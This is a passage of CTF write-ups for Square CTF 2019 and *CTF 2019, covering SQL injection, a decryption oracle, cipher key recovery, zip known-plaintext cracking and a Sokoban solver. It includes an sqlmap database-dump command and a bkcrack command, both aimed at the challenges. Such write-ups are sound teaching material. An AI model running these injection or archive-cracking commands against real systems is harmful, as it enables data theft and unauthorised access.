it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check for the messages do seem sound, and there's no glaring vulnerabilities there. 209 | 210 | However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output. 211 | 212 | The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this 213 | 214 | `$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump` 215 | 216 | ``` 217 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 218 | | id | data | lock | 219 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 220 | | 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 | 221 | | 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 | 222 | | 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 | 223 | +----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+ 224 | ``` 225 | 226 | decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image: 227 | 228 | ![Solution7](lockbox-1.png) 229 | 230 | # Go cipher (1000p) [go, not web] 231 | We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice: 232 | 233 | 1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc". 234 | 2. The key consists of 3 64-bit numbers; x, y and z. 235 | 3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used. 236 | 4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number. 237 | 238 | I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary. 239 | 240 | ```python 241 | from z3 import * 242 | 243 | def rotl(num, bits): 244 | bit = num & (1 << (bits-1)) 245 | num <<= 1 246 | if(bit): 247 | num |= 1 248 | num &= (2**bits-1) 249 | 250 | return num 251 | 252 | def rotr(num, bits): 253 | num &= (2**bits-1) 254 | bit = num & 1 255 | num >>= 1 256 | if(bit): 257 | num |= (1 << (bits-1)) 258 | 259 | return num 260 | 261 | x_org = BitVec("x", 64) 262 | y_org = BitVec("y", 64) 263 | z_org = BitVec("z", 64) 264 | 265 | x, y, z = x_org, y_org, z_org 266 | data_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex')) 267 | data_dec = map(ord, open("story4.txt").read()) 268 | 269 | assert len(data_enc) == len(data_dec) 270 | 271 | s = Solver() 272 | for i in xrange(len(data_dec)): 273 | s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) 274 | x = RotateRight(x, 1) 275 | y = RotateLeft(y, 1) 276 | z = RotateLeft(z, 1) 277 | 278 | if s.check() == sat: 279 | m = s.model() 280 | xx = m[x_org].as_long() 281 | yy = m[y_org].as_long() 282 | zz = m[z_org].as_long() 283 | # print(xx, yy, zz) 284 | 285 | flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) 286 | flag_dec = "" 287 | for e in flag_enc: 288 | flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) 289 | xx=rotr(xx, 64) 290 | yy=rotl(yy, 64) 291 | zz=rotl(zz, 64) 292 | print(flag_dec) 293 | ``` 294 | 295 | Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719` 296 | 297 | 298 | # 20.pl (500p) [perl, cryptography] 299 | 300 | Deobfuscating the script gives something like this 301 | ```perl 302 | #!/usr/bin/perl 303 | 304 | print( "usage: echo | $0 " ) && exit 305 | unless scalar @ARGV; 306 | $/ = \1; 307 | use constant H => 128; 308 | @key = split "", $ARGV[0]; 309 | for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { } # @a = range(0,128) 310 | for ( $j = $i = 0 ; $i < H ; $i++ ) { 311 | $j += $a[$i] + ord $key[ $i % 16 ]; 312 | ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] ); 313 | } 314 | #print "@a\n"; 315 | # for ( $i = $j = $m = 0 ; ; print chr( ord $_ ^ $l ^ $m ) ) { 316 | for ( $i = $j = $m = 0 ; ; ) { 317 | $j += $a[ ++$i % H ]; 318 | ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); 319 | $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; 320 | $m = 321 | ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; 322 | $x = $i / 64 % 16; 323 | } # -- Alok 324 | ``` 325 | 326 | It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards. 327 | 328 | Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked. 329 | 330 | ```python 331 | import operator 332 | 333 | printable = "01234567890abcdef" 334 | 335 | data = open("flag.pdf.enc","rb").read() 336 | 337 | all_cands = [{} for _ in xrange(16)] 338 | 339 | for block in range(700, len(data)//(64*16)): 340 | for i in xrange(16): 341 | cands = {} 342 | for j in xrange(8): 343 | keychar = "" 344 | for k in xrange(8): 345 | ix = (block*64*16) + i*64 + j*8 + k 346 | keychar += "1" if ord(data[ix])&0x80 else "0" 347 | c = chr(int(keychar, 2) >> 1) 348 | if c in printable: 349 | cands[c] = cands.get(c,0) + 1 350 | 351 | for k, v in cands.iteritems(): 352 | all_cands[i][k] = all_cands[i].get(k,0) + v 353 | 354 | key = "" 355 | 356 | for cand in all_cands: 357 | sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) 358 | print(sorted_cands[:3]) 359 | key += sorted_cands[0][0] 360 | 361 | print(key) 362 | ``` 363 | 364 | Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. -------------------------------------------------------------------------------- /squarectf19/inwasmble-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/squarectf19/inwasmble-1.png -------------------------------------------------------------------------------- /squarectf19/inwasmble-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/squarectf19/inwasmble-2.png -------------------------------------------------------------------------------- /squarectf19/inwasmble-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/squarectf19/inwasmble-3.png -------------------------------------------------------------------------------- /squarectf19/lockbox-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/squarectf19/lockbox-1.png -------------------------------------------------------------------------------- /starctf19/README.md: -------------------------------------------------------------------------------- 1 | # Otaku 2 | 3 | We are given two files: `Anime_intro.doc` and `flag.zip`. The zip file contains two encrypted files: `flag.png` and `last words.txt`. On the challenge page, there is a hint stating that `The txt is GBK encoding.`. 4 | 5 | Testing out a few common passwords, plus words from the document, doesn't seem to yield anything worthwhile. But when we look closer in the document, there is some extra text hidden inside one of the striked-out sections. That text turns out to be the "real" last words of some anime character, and the length (431 bytes) almost matches the length of `last words.txt` (432 bytes). However, if we store the text as GBK encoding (as per the hint), one of the "\`" characters now take up two bytes! If these files are equal, we can mount a known-plaintext attack on the zip archive itself, using Biham and Kocher's attack method. Calculating the CRC of our known plaintext, we see that it matches the CRC of `last words.txt`. Now the important part is to compress our known plain-text without a password, and **use the same compression method as the original archive**. Fortunately, they used WinRar for this, and it has embedded the string `winrar 5.70 beta 2` near the end of the file. I couldn't find the exact beta version for download, but I found 5.70, which turned out to be good enough. I zipped down the text snippet I found, saved in GBK encoding, using default settings. 6 | 7 | So now we have have two zip files: One encrypted with two files in it, and one unencrypted with an exact replica of the txt file from the first archive inside it. Now we can run [bkcrack](https://github.com/kimci86/bkcrack) against it like so: `./bkcrack -C flag.zip -c "last words.txt" -P knownplain.zip -p "last words.txt -e"` which tells bkcrack to target the file `last words.txt` inside `flag.zip` and a file with the same name in `knownplain.zip` for its attack. The last flag also asks it to continue searching for keys exhaustively. After running for a while, we get two key candidates. Unfortunately, I wasn't able to actually decrypt the zip file with any of them using bkcrack, but I could re-use the key `106d3a93 6c0cc013 338e8d6f` with [pkcrack](https://github.com/keyunluo/pkcrack) to recover `flag.png`. But of course, the image doesn't straight out tell you the flag. Time for steganography! Fortunately, it's a PNG, and `zsteg` is able to recover the flag immediately: `*ctf{vI0l3t_Ev3rg@RdeN}` 8 | 9 | 10 | # Sokoban 11 | 12 | We are given a server to connect to, with the information that we need to beat 25 levels in less than 60 seconds. Upon connection, we are greeted with the following message: 13 | ``` 14 | Welcome to this Sokoban game!(8:wall,4:human,2:box,1:destination) 15 | tips:more than one box 16 | 8888888888 17 | 8000000008 18 | 8042010008 19 | 8000000008 20 | 8888888888 21 | tell me how to move boxes to their destinations in least steps.(By wasd operations): 22 | ``` 23 | 24 | The first level is very easy, and completely static, and basically just serves as a sanity check for your event loop. The rest of the challenges are seemingly randomly generated and require quite a lot of moves. In addition to that, they are asking us for the **move optimal** solution to each level, i.e. the solution with the minimal amount of move operations. My solution can be found in `sokoban.cpp` and `sokoban.py`, but the main methodology was just to find a solver online that used BFS (Breadth-First Search), as their solutions will always be move optimal. There were quite a lot of fancy A\* solutions with meet-in-the-middle optimizations and such, but they rarely stumbled upon the move optimal solution. I then tweaked this solver to read input from a file, and made the Python script translate the board, write it to a file, call the solver, and then translate the resulting moves to `wasd`. (At this point I had multiple tools that understood a more common symbol format, so it made sense to keep that translation instead of hard-coding it in cpp.) 25 | 26 | The script isn't extremely fast, but unless you stumble over a lot of solutions that have a really long solution, it should finish in time: `*ctf{Oh!666_What_a_powerful_algorithm!$_$}` -------------------------------------------------------------------------------- /starctf19/sokoban.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | using namespace std; 14 | 15 | typedef vector TableRow; 16 | typedef vector Table; 17 | 18 | struct Board { 19 | Table sData, dData; 20 | int px, py; 21 | 22 | Board(string b) { 23 | vector data; 24 | boost::split(data, b, boost::is_any_of("\n")); 25 | 26 | size_t width = 0; 27 | for (auto &row: data) 28 | width = max(width, row.size()); 29 | 30 | map maps = {{' ',' '}, {'.','.'}, {'@',' '}, 31 | {'#','#'}, {'$',' '}}, 32 | mapd = {{' ',' '}, {'.',' '}, {'@','@'}, 33 | {'#',' '}, {'$','*'}}; 34 | 35 | for (size_t r = 0; r < data.size(); r++) { 36 | TableRow sTemp, dTemp; 37 | for (size_t c = 0; c < width; c++) { 38 | char ch = c < data[r].size() ? data[r][c] : ' '; 39 | sTemp.push_back(maps[ch]); 40 | dTemp.push_back(mapd[ch]); 41 | if (ch == '@') { 42 | px = c; 43 | py = r; 44 | } 45 | } 46 | sData.push_back(sTemp); 47 | dData.push_back(dTemp); 48 | } 49 | } 50 | 51 | bool move(int x, int y, int dx, int dy, Table &data) { 52 | if (sData[y+dy][x+dx] == '#' || data[y+dy][x+dx] != ' ') 53 | return false; 54 | 55 | data[y][x] = ' '; 56 | data[y+dy][x+dx] = '@'; 57 | return true; 58 | } 59 | 60 | bool push(int x, int y, int dx, int dy, Table &data) { 61 | if (sData[y+2*dy][x+2*dx] == '#' || data[y+2*dy][x+2*dx] != ' ') 62 | return false; 63 | 64 | data[y][x] = ' '; 65 | data[y+dy][x+dx] = '@'; 66 | data[y+2*dy][x+2*dx] = '*'; 67 | return true; 68 | } 69 | 70 | bool isSolved(const Table &data) { 71 | for (size_t r = 0; r < data.size(); r++) 72 | for (size_t c = 0; c < data[r].size(); c++) 73 | if ((sData[r][c] == '.') != (data[r][c] == '*')) 74 | return false; 75 | return true; 76 | } 77 | 78 | string solve() { 79 | boost::unordered_set> visited; 80 | visited.insert(dData); 81 | 82 | queue> open; 83 | open.push(make_tuple(dData, "", px, py)); 84 | 85 | vector> dirs = { 86 | make_tuple( 0, -1, 'u', 'U'), 87 | make_tuple( 1, 0, 'r', 'R'), 88 | make_tuple( 0, 1, 'd', 'D'), 89 | make_tuple(-1, 0, 'l', 'L') 90 | }; 91 | 92 | while (open.size() > 0) { 93 | Table temp, cur = get<0>(open.front()); 94 | string cSol = get<1>(open.front()); 95 | int x = get<2>(open.front()); 96 | int y = get<3>(open.front()); 97 | open.pop(); 98 | 99 | for (int i = 0; i < 4; ++i) { 100 | temp = cur; 101 | int dx = get<0>(dirs[i]); 102 | int dy = get<1>(dirs[i]); 103 | 104 | if (temp[y+dy][x+dx] == '*') { 105 | if (push(x, y, dx, dy, temp) && 106 | visited.find(temp) == visited.end()) { 107 | if (isSolved(temp)) 108 | return cSol + get<3>(dirs[i]); 109 | open.push(make_tuple(temp, cSol + get<3>(dirs[i]), 110 | x+dx, y+dy)); 111 | visited.insert(temp); 112 | } 113 | } else if (move(x, y, dx, dy, temp) && 114 | visited.find(temp) == visited.end()) { 115 | if (isSolved(temp)) 116 | return cSol + get<2>(dirs[i]); 117 | open.push(make_tuple(temp, cSol + get<2>(dirs[i]), 118 | x+dx, y+dy)); 119 | visited.insert(temp); 120 | } 121 | } 122 | } 123 | 124 | return "No solution"; 125 | } 126 | }; 127 | 128 | int main() { 129 | std::ifstream t("tmp.map"); 130 | std::string str((std::istreambuf_iterator(t)), 131 | std::istreambuf_iterator()); 132 | Board board(str); 133 | cout << board.solve() << endl; 134 | return 0; 135 | } -------------------------------------------------------------------------------- /starctf19/sokoban.py: -------------------------------------------------------------------------------- 1 | from socket import socket 2 | import time 3 | import subprocess 4 | 5 | def recvuntil(s, until=b"\n"): 6 | starttime = time.time() 7 | data = b"" 8 | while until not in data: 9 | data += s.recv(1) 10 | if (time.time() - starttime) > 5: 11 | print("[-] Timeout!") 12 | break 13 | print("[+]", data) 14 | return data 15 | 16 | def send(s, data): 17 | print("[+] Sending %s", [data]) 18 | s.sendall(data+b'\n') 19 | 20 | def storemap(m): 21 | m = m.replace("8","#").replace("4","@").replace("2","$").replace("1",".").replace("0"," ") 22 | with open("tmp.map","w") as fd: 23 | fd.write(m.strip()+'\n') 24 | 25 | lookup = {"r":"d", "l":"a", "u":"w", "d":"s"} 26 | 27 | def runsolver(): 28 | cur_res = "" 29 | moves = subprocess.check_output(["./sokoban"]).strip() 30 | conv_moves = ''.join([lookup[e.lower()] for e in moves.strip()]) 31 | print(moves) 32 | print(conv_moves) 33 | return conv_moves 34 | 35 | if __name__ == '__main__': 36 | 37 | s = socket() 38 | s.connect(("34.92.121.149", 9091)) 39 | _ = recvuntil(s, b"one box\n") 40 | 41 | 42 | for i in range(25): 43 | board = recvuntil(s, b"wasd operations):\n") 44 | print(board) 45 | board = board[:board.index(b"tell")] 46 | storemap(board) 47 | res = runsolver() 48 | send(s, res) 49 | 50 | print(s.recv(1024)) 51 | print(s.recv(1024)) 52 | --------------------------------------------------------------------------------